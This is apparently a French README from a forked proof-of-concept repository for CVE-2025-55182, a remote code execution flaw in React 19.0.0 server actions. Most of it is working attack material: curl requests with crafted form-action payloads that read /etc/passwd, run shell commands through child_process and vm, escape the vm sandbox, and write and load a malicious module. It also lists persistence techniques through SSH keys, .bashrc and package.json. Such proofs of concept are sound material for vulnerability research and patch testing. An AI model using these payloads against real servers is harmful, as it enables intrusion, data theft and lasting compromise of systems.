Cette POC démontre la CVE-2025-55182 à l'aide du code vulnérable réel `[email protected]`.
Ce POC démontre la CVE-2025-55182 en utilisant le code vulnérable réel de [email protected].
Ce dépôt est un fork de https://github.com/ejpir/CVE-2025-55182-poc et n'a pas encore été vérifié ! Faites preuve de prudence et vérifiez soigneusement !
# Install dependencies
npm install
# Start vulnerable server (port 3002)
npm start
# Run RCE exploit
npm run exploit
=== CVE-2025-55182 - RCE via vm.runInThisContext ===
Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}
Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}
# Servers
npm start # Start main server (server-realistic.js, port 3002)
npm run start:legacy # Start legacy server (server.js, port 3002)
npm run start:module # Start module server (port 3003) - hypothetical, see note below
# Exploits (use with npm start)
npm run exploit # RCE demo (uses vm, works with any: vm, child_process, fs)
npm run exploit:all # Test all gadgets
npm run exploit:persistence # Persistence attacks (fs-only)
npm run exploit:research # Prototype chain research
# Hypothetical exploits (use with start:module)
npm run exploit:module # Two-step RCE via module#_load
npm run exploit:indirect # Two-step RCE with proof file
Note : Les exploits
modulesont hypothétiques. Le module intégrémoduleest rarement inclus dans les applications de production. Ils démontrent une voie d'attaque théorique lorsque seulsfs+modulesont disponibles (pas de vm/child_process). En pratique, les applications avecfsont généralement aussichild_processvia des dépendances comme sharp, puppeteer ou execa.
# Start server first
npm start
# Test fs read
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'
# Test command execution
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
# Test vm code execution
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'
# Test prototype chain access
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_ID_abc123def456#constructor='
| File | Port | Description |
|---|---|---|
src/server-realistic.js | 3002 | Serveur principal - simule un bundle webpack avec des modules courants (fs, vm, child_process) |
src/server.js | 3002 | Serveur legacy (utilise require direct) |
src/server-module-test.js | 3003 | Serveur avec module + fs (pour la recherche) |
| File | Description |
|---|---|
exploit-rce-v4.js | RCE principal via vm#runInThisContext |
exploit-all-gadgets.js | Teste tous les gadgets RCE (vm, child_process, fs) |
exploit-module-load.js | RCE en deux étapes via fs + module#_load |
exploit-indirect-rce.js | RCE en deux étapes avec création d'un fichier de preuve |
exploit-persistence.js | Attaques de persistance (clés SSH, .bashrc) |
exploit-research.js | Recherche sur la chaîne de prototypes |
Simule un bundle webpack réel où les applications regroupent couramment des modules dangereux via des dépendances :
// Bundled modules (what gets included when using common packages)
const BUNDLED_MODULES = {
'actions-chunk-123': { /* user's server actions */ },
'fs': require('fs'), // via fs-extra, gray-matter, multer
'child_process': require('child_process'), // via execa, shelljs, puppeteer
'vm': require('vm'), // via ejs, pug, handlebars
'util': require('util'),
};
La fonction __webpack_require__ ne charge les modules qu'à partir de BUNDLED_MODULES, simulant ainsi le comportement réel de webpack.
Dans requireModule(), les exports sont accédés via la notation par crochets sans vérification hasOwnProperty :
// VULNERABLE (React 19.0.0)
return moduleExports[metadata[2]]; // Accesses prototype chain!
// PATCHED (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
return moduleExports[metadata[2]];
$ACTION_REF_0 avec les métadonnées d'action liéesid: 'vm#runInThisContext' charge le module vm, accède à l'export runInThisContextbound devient les arguments de la fonctionrunInThisContext(CODE) exécute du code arbitraire| Gadget | Status | Description |
|---|---|---|
vm#runInThisContext | ✓ | Exécute du JS arbitraire dans le contexte actuel |
vm#runInNewContext | ✓ | Exécute dans une « sandbox » (facilement contournable) |
child_process#execSync | ✓ | Exécution directe de commandes shell |
child_process#execFileSync | ✓ | Exécute des fichiers binaires |
child_process#spawnSync | ✓ | Lance un processus (renvoie un objet) |
module#_load | ✓ | Charge et exécute un fichier JS (en 2 étapes avec fs) |
fs#readFileSync | ✓ | Lit des fichiers arbitraires |
fs#writeFileSync | ✓ | Écrit des fichiers arbitraires |
Exécuter une commande shell (whoami) :
{ id: 'child_process#execSync', bound: ['whoami'] }
Lire des fichiers sensibles :
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }
Écrire des fichiers sur le disque :
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }
Exécuter du JavaScript arbitraire :
{
id: 'vm#runInThisContext',
bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}
Évasion de sandbox (vm.runInNewContext) :
{
id: 'vm#runInNewContext',
bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}
Pour une RCE directe : Oui, vous avez besoin de l'un des éléments suivants :
vm (runInThisContext, runInNewContext)child_process (execSync, execFileSync, spawnSync)Pour une RCE indirecte (fs uniquement) : Non ! Avec seulement fs, vous pouvez :
~/.ssh/authorized_keys → accès SSH~/.bashrc → exécution de code à la prochaine connexionnode_modules/* → RCE au redémarrage de l'applicationpackage.json → RCE au prochain npm installNote : Ceci est hypothétique. Le module intégré
moduleest rarement inclus dans les applications de production.
// Step 1: Write malicious module
{ id: 'fs#writeFileSync', bound: ['/tmp/evil.js', 'module.exports = require("child_process").execSync("id")'] }
// Step 2: Load it
{ id: 'module#_load', bound: ['/tmp/evil.js'] }
// Result: RCE!
| Version | Attack | Result |
|---|---|---|
| React 19.0.0 | vm#runInThisContext | ✓ RCE réalisée |
| React 19.2.1 | vm#runInThisContext | ✗ Bloquée |
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# Attacks will fail
Voir VULNERABLE-PACKAGES.md pour une recherche sur les paquets npm populaires qui incluent des modules dangereux :
| Module | Téléchargements hebdomadaires | Paquets populaires |
|---|---|---|
fs | 145M+ | fs-extra, gray-matter, multer, sharp |
child_process | 103M+ | execa, shelljs, puppeteer, sharp |
vm | 21M+ | ejs, pug, handlebars, vm2 |